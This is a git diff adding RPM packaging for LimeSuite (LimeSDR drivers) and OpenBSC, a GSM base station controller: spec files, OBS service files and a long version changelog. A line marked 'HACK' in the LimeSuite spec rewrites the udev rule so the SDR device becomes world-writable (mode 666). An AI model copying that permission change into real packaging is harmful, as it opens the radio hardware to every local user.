+BuildRequires: pkgconfig(sqlite3)
+BuildRequires: pkgconfig(udev)
+
+%description
+Lime Suite is a collection of software supporting several hardware
+platforms including the LimeSDR, drivers for the LMS7002M transceiver
+RFIC, and other tools for developing with LMS7-based hardware. Lime
+Suite enables many SDR applications, such as GQRX for example, to
+work with supported hardware through the bundled SoapySDR support
+module.
+
+%package -n %{libname}
+Summary: Library for Lime Suite
+Group: System/Libraries
+Requires: %{name}-udev
+
+%description -n %{libname}
+Lime Suite is a collection of software supporting several hardware
+platforms and other tools for developing with LMS7-based hardware.
+
+%package udev
+Summary: Udev rules for LimeSDR
+Group: Hardware/Other
+
+%description udev
+Udev rules for Lime Suite
+
+%package devel
+Summary: Development files for libLimeSuite
+Group: Development/Libraries/C and C++
+Requires: %{libname} = %{version}
+
+%description devel
+Libraries and header files for developing applications that want to make
+use of libLimeSuite.
+
+%package -n soapysdr%{soapy_modver}-module-lms7
+Summary: SoapySDR LMS7 support module
+Group: System/Libraries
+
+%description -n soapysdr%{soapy_modver}-module-lms7
+Soapy LMS7 - LimeSDR device support for Soapy SDR.
+A Soapy module that supports LimeSDR devices within the Soapy API.
+
+%prep
+%setup -q -n LimeSuite-%{version}
+%patch0 -p1
+
+# HACK: set udev permissions to 666
+sed -i 's|MODE="660"|MODE="666"|g' udev-rules/64-limesuite.rules
+
+%build
+%cmake \
+ -DBUILD_SHARED_LIBS=ON \
+ -DCMAKE_AUTOSET_INSTALL_RPATH=FALSE \
+ -DUDEV_RULES_PATH=%{_udevrulesdir} \
+%ifarch x86_64
+ -DENABLE_SIMD_FLAGS="SSE3" \
+%else
+ -DENABLE_SIMD_FLAGS="none" \
+%endif
+ -DLIME_SUITE_EXTVER=release
+%make_jobs
+
+%install
+%cmake_install
+
+%post -n %{libname} -p /sbin/ldconfig
+%postun -n %{libname} -p /sbin/ldconfig
+%post udev
+%udev_rules_update
+
+%postun udev
+%udev_rules_update
+
+%files
+%license COPYING
+%doc Changelog.txt README.md
+%{_bindir}/LimeUtil
+%{_bindir}/LimeSuiteGUI
+%{_bindir}/LimeQuickTest
+%dir %{_datadir}/Lime
+%{_datadir}/Lime/Desktop
+
+%files udev
+%{_udevrulesdir}/64-limesuite.rules
+
+%files -n %{libname}
+%{_libdir}/libLimeSuite.so.*
+
+%files devel
+%{_libdir}/libLimeSuite.so
+%{_includedir}/lime
+%{_libdir}/pkgconfig/LimeSuite.pc
+%{_libdir}/cmake/LimeSuite/
+
+%files -n soapysdr%{soapy_modver}-module-lms7
+%dir %{_libdir}/SoapySDR
+%dir %{_libdir}/SoapySDR/modules%{soapy_modver}
+%{_libdir}/SoapySDR/modules%{soapy_modver}/libLMS7Support.so
+
+%changelog
diff --git a/rpm-local/spec/openbsc/_service b/rpm-local/spec/openbsc/_service
new file mode 100644
index 0000000..4e2a98a
--- /dev/null
+++ b/rpm-local/spec/openbsc/_service
@@ -0,0 +1,13 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/openbsc</param>
+ <param name="versionformat">@PARENT_TAG@.@TAG_OFFSET@</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="disabled"/>
+</services>
diff --git a/rpm-local/spec/openbsc/_servicedata b/rpm-local/spec/openbsc/_servicedata
new file mode 100644
index 0000000..d9b7d79
--- /dev/null
+++ b/rpm-local/spec/openbsc/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/openbsc</param>
+ <param name="changesrevision">d2550da76f9974bb1957f74c5d3eb75fdae923d9</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/openbsc/openbsc.changes b/rpm-local/spec/openbsc/openbsc.changes
new file mode 100644
index 0000000..bb11412
--- /dev/null
+++ b/rpm-local/spec/openbsc/openbsc.changes
@@ -0,0 +1,615 @@
+-------------------------------------------------------------------
+Mon Apr 20 20:02:14 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.2.2:
+ * fix compilation with gcc-10
+
+-------------------------------------------------------------------
+Fri Mar 27 21:04:22 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.2.1:
+ * rsl: Send IE MS Power Param during CHAN ACT and MS PWR CTRL messages
+
+-------------------------------------------------------------------
+Fri Jan 03 21:05:43 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.3.2.0:
+ * Bump version: 1.3.1 → 1.3.2
+
+-------------------------------------------------------------------
+Thu Dec 12 21:04:17 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.2:
+ * osmoappdesc.py, tests, ipa.py: switch to python 3
+
+-------------------------------------------------------------------
+Sun Dec 01 21:04:01 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.1:
+ * manual: Fix copy+paste error
+
+-------------------------------------------------------------------
+Thu Aug 08 21:55:47 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.1.0:
+ * Bump version: 1.3.0.5-38ea → 1.3.1
+ * debian/control: Match dependency versions against configure.ac
+ * Remove undefined param passed to {logging,osmo_stats}_vty_add_cmds
+ * nat: Remove unused func bsc_vty_init()
+
+-------------------------------------------------------------------
+Mon Jul 22 10:37:33 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Disable LTO for now since it breaks compilation of the tests
+ See: https://osmocom.org/issues/4112
+
+-------------------------------------------------------------------
+Fri Jul 19 20:02:38 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.2:
+ * manuals: Generate vty/counter documentation for osmo-bscnat
+ * manuals: Update osmonitb counter/vty documentation
+
+-------------------------------------------------------------------
+Sun Jul 14 20:07:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.0:
+ * Bump version: 1.2.0.20-cf711 → 1.3.0
+
+-------------------------------------------------------------------
+Thu Jul 11 20:12:17 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.20:
+ * contrib/jenkins.sh: run "make maintainer-clean"
+
+-------------------------------------------------------------------
+Fri Jun 21 20:17:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.19:
+ * bsc-nat: Remove whitespace at the end of CTR descriptions
+
+-------------------------------------------------------------------
+Wed Jun 19 20:21:59 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.18:
+ * manuals: Add script to regenerate counter/vty documentation
+
+-------------------------------------------------------------------
+Sun May 26 20:01:45 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.17:
+ * mgcp: Handle CI and X-Osmux param name as case insensitive
+
+-------------------------------------------------------------------
+Thu May 23 20:01:51 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.16:
+ * tests: Mute stdout during db_prepare()
+
+-------------------------------------------------------------------
+Tue May 21 20:01:50 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.15:
+ * nat: Allocate bsc_nat_parsed on the stack instead of heap
+
+-------------------------------------------------------------------
+Wed May 08 20:02:34 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.14:
+ * nat: Fix crash (double-free) in forward_sccp_to_msc
+
+-------------------------------------------------------------------
+Fri May 03 20:01:53 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.13:
+ * tests: Fix selection of python version
+
+-------------------------------------------------------------------
+Thu May 02 20:02:01 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.12:
+ * nat: Return error code in queue_for_msc
+
+-------------------------------------------------------------------
+Tue Apr 30 20:03:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.11:
+ * libmgcp: Parse CI as hex string in verify_ci()
+
+-------------------------------------------------------------------
+Thu Apr 25 20:01:52 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.10:
+ * osmo-bsc_nat: Parse MGCP Connection ID as hex
+
+-------------------------------------------------------------------
+Tue Apr 23 20:02:10 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.9:
+ * Fixed MNCC_RTP_CREATE after MNCC_DISC_IND.
+
+-------------------------------------------------------------------
+Fri Mar 29 21:08:15 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.8:
+ * Write configuration correctly from vty (alert notifications)
+ * vty_test_runner: Handle MGCP message recv len dynamically
+ * Replace broken ipa_ccm_idtag APIs with new ipa_ccm_id ones
+
+-------------------------------------------------------------------
+Wed Mar 27 21:02:47 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.5:
+ * Drop Iu*S support and related dependencies
+
+-------------------------------------------------------------------
+Tue Mar 26 21:01:51 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.4:
+ * Drop openggsn from build dependencies
+
+-------------------------------------------------------------------
+Mon Mar 25 21:01:55 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.3:
+ * talloc_ctx_init: Use public API osmo_signal_talloc_ctx_init
+ * osmo-bsc-mgcp.service: Fix parsing of cmdline option s
+
+-------------------------------------------------------------------
+Thu Feb 28 21:01:48 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.1:
+ * Don't deliver alert notifications to an ESME that is not yet bound.
+
+-------------------------------------------------------------------
+Thu Jan 31 21:01:27 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.0:
+ * Bump version: 1.1.0.120-9981 → 1.2.0
+
+-------------------------------------------------------------------
+Thu Jan 24 21:06:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.120:
+ * Remove osmocom-ipaccess-utils-dbg package
+ * Remove openbsc-dev package
+ * Remove meas_* utils
+
+-------------------------------------------------------------------
+Tue Jan 22 07:31:17 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.117:
+ * fix build: apply msgb_wrap_with_TL() rename
+
+-------------------------------------------------------------------
+Thu Jan 17 21:01:36 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.116:
+ * Cosmetic: Fix spelling in smpp vty
+ * Make alert notifications vty configurable per ESME
+
+-------------------------------------------------------------------
+Sun Jan 13 21:01:24 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.114:
+ * Don't send SMS STATUS REPORT locally if the ESME accepted it.
+
+-------------------------------------------------------------------
+Wed Dec 12 21:01:56 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.113:
+ * contrib/jenkins.sh: build and publish manuals
+
+-------------------------------------------------------------------
+Thu Dec 06 21:01:38 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.112:
+ * contrib: fix makedistcheck with disabled systemd
+ * Remove ipaccess utils
+
+-------------------------------------------------------------------
+Tue Dec 04 21:01:40 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.110:
+ * Fix DISTCHECK_CONFIGURE_FLAGS override
+
+-------------------------------------------------------------------
+Fri Nov 30 21:01:26 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.109:
+ * manuals: Osmo{NAT,MGCP} -> OsmoBSC{NAT,MGCP}
+
+-------------------------------------------------------------------
+Thu Nov 29 21:01:24 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.108:
+ * OsmoMGCP and OsmoNAT manuals moved from osmo-gsm-manuals.git
+ * manuals/OsmoNITB: integrate into this repository
+
+-------------------------------------------------------------------
+Wed Nov 28 21:01:28 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.106:
+ * build manuals moved here from osmo-gsm-manuals.git
+ * vty/bsc_vty_additions.xml: copy from osmo-bsc
+ * author info: add "former" to Holger's job title
+ * vty-ref: Update URI of docbook 5.0 schema
+ * refactor Makefile build rules, don't use the FORCE
+ * OsmoNITB: update vty reference
+ * move smpp.adoc to common chapters, generalize
+ * tweak common/mncc.adoc: use variable for program name
+ * move mncc.adoc to common chapters
+ * Allow easily disabling GFDL references
+ * SMPP: Document Osmocom extensions
+ * smpp.adoc: describe VTY cmd 'local-tcp-ip' instead of 'local-tcp-port'
+ * osmo-nitb: Update VTY command reference
+ * Add chapter on Cell Broadcast Support in Osmocom (to BSC+NITB manual)
+ * Describe how to run multiple instances of osmo-nitb and osmo-bts
+ * fix 'make clean': shell glob, ignore failure
+ * OsmoNITB: include abis.adoc from common/chapters/
+ * OsmoBSC+NITB/running: fix title levels, one too deep
+ * add 'make check' target
+ * make clean: also remove generated image files
+ * Typo in Chapter 14.2
+ * Add OsmoNITB control interface description
+ * fix various typos across all manuals
+ * OsmoNITB HLR: expand on how to create subscribers
+ * Add link to Asciidoc source code of manual
+ * initial checkin of manuals to public repo
+
+-------------------------------------------------------------------
+Tue Nov 27 21:01:30 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.78:
+ * bsc-nat: Enable octet-aligned when ensuring mode set
+
+-------------------------------------------------------------------
+Mon Nov 19 18:32:24 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.77:
+ * Fix build with latest libosmocore
+
+-------------------------------------------------------------------
+Wed Oct 17 20:01:24 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.76:
+ * mgcp: osmux_send_dummy: Fix return without value
+
+-------------------------------------------------------------------
+Tue Oct 16 20:01:24 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.75:
+ * osmux.h: Document enum osmux_state
+ * mgcp: osmux: Improve checks around activating and using enabled osmux
+ * mgcp: osmux: allow enabling osmux only on correct activating state
+
+-------------------------------------------------------------------
+Mon Oct 15 20:01:34 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.72:
+ * mgcp: osmux: Make func handling dummy frames independent of endp type
+ * mgcp: osmux: Move parse_cid of legacy dummy frames to own function
+ * mgcp: osmux: Don't process regular osmux frames if disabled by cfg
+ * mgcp: osmux_send_dummy: Avoid logging incorrectly and sending if osmux not enabled
+
+-------------------------------------------------------------------
+Sat Oct 13 20:01:25 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.68:
+ * nat: Log state of pending transaction
+ * nat: Log endpoint nr consistently as hex
+ * mgcp: Log endpoint nr consistently as hex
+ * mgcp: Avoid initing output without enabling osmux
+
+-------------------------------------------------------------------
+Fri Oct 05 20:01:29 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.64:
+ * examples: nanobts: openbsc-multitrx.cfg: Set SDCCH in correct TS of TRX1
+
+-------------------------------------------------------------------
+Mon Sep 17 20:01:40 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.63:
+ * mgcp_osmux: Use define to calculate rtp_ssrc_winlen
+ * mgcp: Fix (again) osmux_cid_bitmap static array size calculation
+ * bsc_filter: Move whitelisted info log to debug
+ * mgcp: Fix osmux_cid_bitmap static array size calculation
+ * debian/rules: Don't overwrite .tarball-version
+
+-------------------------------------------------------------------
+Sat Sep 15 20:01:29 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.58:
+ * nat: return -EBADF in read wqueue cb on fd closed
+ * nat: Remove misleading comment
+ * nat: Remove misleading comment
+ * cosmetic: Remove duplicate semicolon and whitespace
+
+-------------------------------------------------------------------
+Thu Sep 13 19:37:02 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.54:
+ * Install sample cfg file to /etc/osmocom
+ * Install systemd services with autotools
+
+-------------------------------------------------------------------
+Tue Sep 11 20:01:33 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.52:
+ * mgcp_osmux.c: osmux_enable_endpoint: Fix incorrect return check
+
+-------------------------------------------------------------------
+Fri Sep 07 20:01:31 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.51:
+ * systemd: describe osmo-bsc-sccplite service as legacy
+
+-------------------------------------------------------------------
+Thu Aug 30 20:01:27 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.50:
+ * debian: Install all service files from contrib/systemd
+
+-------------------------------------------------------------------
+Wed Aug 29 20:01:30 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.49:
+ * Add osmo-bsc-nat systemd service and install it with debian
+ * Fix heap-use-after-free due to OML link destruction
+ * abis_nm_ipaccess_rsl_connect: Log bts and trx nr
+ * gsm_data.h: Replace '.' in counter names with ':'
+
+-------------------------------------------------------------------
+Tue Aug 21 20:01:43 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.45:
+ * configure: Find correct libgsm's gsm.h header
+ * legacy_mgcp: mgcp_test: sanitize: free msgb_ctx
+ * Debian: Include the osmo-bsc-mgcp systemd service in Debian package
+ * osmo-bsc-mgcp: Add debian package
+ * mgcp_test: tweak test failure output
+ * mgcp: add VTY Option to force-realloc endpoints
+ * examples: osmo-bsc_mgcp: Update cfg file
+ * cosmetic: make osmo-python-tests dependency more accurate
+
+-------------------------------------------------------------------
+Fri Aug 17 20:04:17 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.37:
+ * vty: Fix typo writing bts-jitter-buffer-delay-{min,max}
+
+-------------------------------------------------------------------
+Fri Jul 27 20:01:35 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.36:
+ * git-version-gen: Don't check for .git directory
+
+-------------------------------------------------------------------
+Tue Jul 17 20:01:27 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.35:
+ * bsc: ctrl: Avoid sending back received ERROR msgs
+ * nat: ctrl: Avoid sending back received ERROR msgs
+ * nat: ctrl: use strtol instead of atoi as it has explicit error documentation
+
+-------------------------------------------------------------------
+Thu Jul 12 20:01:31 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.32:
+ * bsc: ctrl: Use ctrl_cmd_parse2 to obtain detailed error
+ * nat: ctrl: Use ctrl_cmd_parse2 to obtain detailed error
+
+-------------------------------------------------------------------
+Wed Jul 04 20:01:31 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.30:
+ * nat: Add VTY cmd paging-bss-forward to nat node
+
+-------------------------------------------------------------------
+Thu Jun 28 20:01:38 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.29:
+ * bsc-nat: forward paging to all BSC when CELL_IDENT_BSS is received
+ * bsc-nat: find_paging: Check return code of tlv_parse
+ * filter: vty: Print policy list in cmd show access-list
+ * bsc_vty: Write access list entries when storing bsc config
+ * Rename bsc_msg_acc_lst_vty_init to have more uniform prefix
+ * Init access_lists before passing it as a parameter
+ * bsc-nat: Add more complete VTY command to show BSC related info
+
+-------------------------------------------------------------------
+Wed Jun 27 20:01:37 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.22:
+ * bsc-nat: Allocate each ctr group with a different idx
+ * bsc-nat: Replace '.' in counter names with ':'
+ * configure.ac: Add --enable-sanitize flag
+ * bsc-nat: Avoid heap-use-after-free on USSD conn lost
+
+-------------------------------------------------------------------
+Wed Jun 20 20:01:35 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.18:
+ * bsc-nat: show running-config now prints bsc nodes
+
+-------------------------------------------------------------------
+Mon Jun 18 20:01:28 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.17:
+ * bsc-sccplite: Add -V param to print version
+ * bsc-nat: Add -V param to print version
+ * bsc-nat: Fix missing help description for -T timestamp cmdline option
+ * gsm0408_dispatch: Fix uninitialized var warning
+
+-------------------------------------------------------------------
+Wed Jun 13 18:41:58 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.13:
+ * chan_alloc: Fix crash when failing to allocate channel
+
+-------------------------------------------------------------------
+Fri Jun 08 20:01:30 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.12:
+ * bsc-nat: Avoid heap-use-after-free on bsc auth failure
+ * bsc-nat: ipaccess_auth_bsc: Close bsc conn immediately on bad format received
+ * bsc-nat: forward_sccp_to_msc: Fix memleak on receive from non authenticated bsc
+ * bsc-nat: forward_sccp_to_msc: Remove unneeded exit3 section
+ * bsc-nat: forward_sccp_to_msc: Remove unneeded goto
+ * bsc-nat: bsc_nat_filter_ipa: Improve documentation
+ * bsc-nat: Avoid sending reset ack twice in a row
+
+-------------------------------------------------------------------
+Thu May 31 20:01:41 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.5:
+ * gitignore: Filter m4 files
+
+-------------------------------------------------------------------
+Wed May 30 20:01:44 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.4:
+ * bsc_nat.c: Return correct err code to avoid heap-user-after-free
+ * chan_alloc: Print bts nr on chan alloc failure
+ * abis_rsl: rsl_rx_chan_rqd: Format bts log string as in everywhere else
+
+-------------------------------------------------------------------
+Mon May 28 20:01:38 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.1:
+ * acc_ramp: Increase log level of some messages
+
+-------------------------------------------------------------------
+Fri May 04 20:01:41 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.0:
+ * debian/changelog: change last release for unreleased to unstable
+ * Bump version: 1.0.0.45-2b362-dirty → 1.1.0
+
+-------------------------------------------------------------------
+Wed Apr 25 20:01:40 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.0.0.44:
+ * mgcp: switch to new osmux output APIs
+
+-------------------------------------------------------------------
+Thu Apr 19 20:01:38 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.0.0.43:
+ * chan_alloc.c: Fix log var formatting issues
+
+-------------------------------------------------------------------
+Tue Apr 17 20:01:50 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.0.0.42:
+ * smpp_smsc_conf: Fix heap-use-after-free
+
+-------------------------------------------------------------------
+Mon Apr 16 20:01:43 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.0.0.41:
+ * only log actual access control class ramping changes
+ * ensure that acc_ramp_init() is only called once
+ * trigger acc ramping based on trx rf-locked state
+ * rename helper functions in the acc ramp code to avoid confusion
+ * trigger acc ramping on state-changed-event reports
+ * only trigger acc ramping if trx 0 is usable and unlocked
+ * fix handling of state changes in acc ramping
+ * nat: Add jitter buffer on the uplink receiver
+
+-------------------------------------------------------------------
+Wed Apr 11 20:01:32 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.0.0.33:
+ * libbsc: set_net_mcc_mnc_apply: Fix memleak on parsing incorrect mcc mnc
+ * bsc_nat: ctrl: fix memleak on reply receival
+ * bsc_nat: forward_to_bsc: remove one level of indentation
+ * bsc_nat: forward_to_bsc: Fix memleak on send failure
+ * bsc_nat: Drop redundant ccon ptr in bsc_cmd_list
+ * bsc_nat: ctrl: Fix crash on receveing bsc reply
+
+-------------------------------------------------------------------
+Mon Apr 09 18:38:37 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.0.0.27:
+ * fix a format string error in bts_update_t3122_chan_load()
+ * fix initialization of acc ramping
+
+-------------------------------------------------------------------
+Sat Apr 07 18:52:00 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.0.0.25:
+ * backport support for 3-digit MNC with leading zeros
+ * bsc: Improve handling of paging_request return value
+ * bsc: paging: Fix losing paging messages for BTS
+ * Migrate from OpenSSL to osmo_get_rand_id()
+
+-------------------------------------------------------------------
+Fri Mar 16 10:40:27 UTC 2018 - mardnh@gmx.de
+
+- Create subpackages for
+ * abisip-find
+ * ipaccess-utils
+ * bs11-utils
+
+-------------------------------------------------------------------
+Fri Mar 16 08:30:11 UTC 2018 - mardnh@gmx.de
+
+- Always run build-checks
+
+-------------------------------------------------------------------
+Thu Mar 15 18:46:16 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.0.0.21:
+ * Add stat items for the BTS's channel load average and T3122.
+ * Add support for Access Control Class ramping.
+
+-------------------------------------------------------------------
+Wed Mar 14 21:27:46 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.0.0.19:
+ * libmsc: add support for both comp128v2 and comp128v3
+ * mgcp_transcoding_test: Add LIBOSMOABIS_CFLAGS
+ * gsm_04_80.h: use '#pragma once' instead of includes
+ * gsm_04_80.h: cosmetic: whitespace fix
+ * src/libmsc/ussd.c: drop useless forward declaration
+ * mgcp_protocol: Don't print osmux stats if it is off
+ * fix build: gprs_ra_id_by_bts(): ensure to init all values
+ * sysinfo: Fix regression causing missing L2 Pseudo-Length in SI5/SI6
+ * Make "waiting indicator" of IMMEDIATE ASSIGN REJECT dynamic.
+ * bts chan_load: ignore unusable BTS
+
+-------------------------------------------------------------------
+Wed Feb 28 22:07:02 UTC 2018 - mardnh@gmx.de
+
+- Do not longer build with --enable-nat and --enable-osmo-bsc
+ These options now are considered legacy.
+- Minor specfile cleanup
+
+-------------------------------------------------------------------
+Sat Feb 10 20:22:38 UTC 2018 - mardnh@gmx.de
+
+- Show testsuite.log when tests are failing
+
+-------------------------------------------------------------------
+Wed Jan 24 13:01:30 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 1.0.0.14
+
+-------------------------------------------------------------------
+Wed Dec 27 16:02:39 UTC 2017 - mardnh@gmx.de
+
+- Build with --enable-nat, --enable-osmo-bsc, --enable-smpp
+- Specfile cleanup
+
+-------------------------------------------------------------------
+Wed Dec 27 10:13:27 UTC 2017 - mardnh@gmx.de
+
+- Update to new upstream release 1.0.0
+ * No changelog was provided
+
+-------------------------------------------------------------------
+Sun Apr 30 01:22:17 UTC 2017 - jengelh@inai.de
+
+- Ship version 0.15.0.750 for build.opensuse.org
diff --git a/rpm-local/spec/openbsc/openbsc.spec b/rpm-local/spec/openbsc/openbsc.spec
new file mode 100644
index 0000000..d3e53f9
--- /dev/null
+++ b/rpm-local/spec/openbsc/openbsc.spec
@@ -0,0 +1,148 @@
+#
+# spec file for package openbsc
+#
+# Copyright (c) 2017 SUSE LINUX GmbH, Nuernberg, Germany.
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+## Disable LTO for now since it breaks compilation of the tests
+## https://osmocom.org/issues/4112
+%define _lto_cflags %{nil}
+
+Name: openbsc
+Version: 1.3.2.2
+Release: 0
+Summary: Base station controller for a GSM stack
+License: AGPL-3.0-or-later AND GPL-3.0-or-later AND GPL-2.0-or-later AND LGPL-2.1-or-later
+Group: Productivity/Telephony/Utilities
+URL: https://osmocom.org/projects/openbsc/wiki/OpenBSC
+Source: openbsc-%{version}.tar.xz
+BuildRequires: automake
+BuildRequires: gcc-c++
+BuildRequires: libdbi-drivers-dbd-sqlite3
+BuildRequires: libpcap-devel
+BuildRequires: libtool
+BuildRequires: pkgconfig >= 0.20
+BuildRequires: python
+BuildRequires: pkgconfig(dbi)
+BuildRequires: pkgconfig(libasn1c)
+BuildRequires: pkgconfig(libcares)
+BuildRequires: pkgconfig(libcrypto) >= 0.9.5
+BuildRequires: pkgconfig(libosmo-netif) >= 0.2.0
+BuildRequires: pkgconfig(libosmoabis) >= 0.5.0
+BuildRequires: pkgconfig(libosmocore) >= 0.11.0
+BuildRequires: pkgconfig(libosmoctrl) >= 0.11.0
+BuildRequires: pkgconfig(libosmogb) >= 0.11.0
+BuildRequires: pkgconfig(libosmogsm) >= 0.11.0
+BuildRequires: pkgconfig(libosmovty) >= 0.11.0
+BuildRequires: pkgconfig(libsmpp34) >= 1.13.0
+BuildRequires: pkgconfig(sqlite3)
+Requires: libdbi-drivers-dbd-sqlite3
+Provides: osmocom-nitb
+Provides: osmocom-bsc-sccplite
+
+%description
+An implementation of the minimal subset of the major backend
+components of a GSM network, such as BSC, MSC, HLR, EIR. Using a
+commercial GSM BTS and attaching it to a Linux system running the
+OpenBSC software allows you to run your own GSM "network in a box".
+
+OsmoBSC can run in one of two modes:
+* as OsmoBSC, exposing an A interface towards an external MSC, or
+* as OsmoNITB (Network In The Box), which implements a minimal subset
+ of the BSC, MSC. SMSC and HLR
+
+%package bs11-utils
+Summary: Command line utilities for Siemens BS-11 BTS
+License: GPL-2.0-or-later
+Group: Productivity/Telephony/Utilities
+
+%description bs11-utils
+There is a tool in this package for configuring the Siemens BS-11 BTS.
+Additionally, it contains one tool for making use of an ISDN-card and the
+public telephone network as frequency standard for the E1 line.
+
+%package bsc-sccplite
+Summary: GSM Base Station Controller
+License: GPL-2.0-or-later
+Group: Productivity/Telephony/Utilities
+Recommends: bsc-sccplite
+
+%description bsc-sccplite
+This is the BSC-only version of OpenBSC. It requires a Mobile Switching Center
+(MSC) to operate.
+
+You might rather prefer to use openbsc (osmo-nitb) which is considered a
+"GSM Network-in-a-Box" and does not depend on a MSC.
+
+%prep
+%setup -q
+
+%build
+pushd openbsc/
+echo "%{version}" >.tarball-version
+autoreconf -fi
+%configure \
+ --disable-static \
+ --includedir="%{_includedir}/%{name}" \
+ --docdir="%{_docdir}/%{name}" \
+ --with-systemdsystemunitdir=%{_unitdir} \
+ --enable-smpp
+make %{?_smp_mflags}
+popd
+
+%install
+pushd openbsc/
+%make_install
+popd
+find %{buildroot} -type f -name "*.la" -delete -print
+install -d %{buildroot}%{_localstatedir}/lib/osmocom
+
+# FIXME: remove uneeded files
+rm -rf %{buildroot}/%{_includedir}/%{name}
+
+%check
+pushd openbsc/
+make %{?_smp_mflags} check || (find . -name testsuite.log -exec cat {} +)
+popd
+
+%pre %service_add_pre osmo-nitb.service
+%post %service_add_post osmo-nitb.service
+%preun %service_del_preun osmo-nitb.service
+%postun %service_del_postun osmo-nitb.service
+%pre bsc-sccplite %service_add_pre osmo-bsc-mgcp.service
+%post bsc-sccplite %service_add_post osmo-bsc-mgcp.service
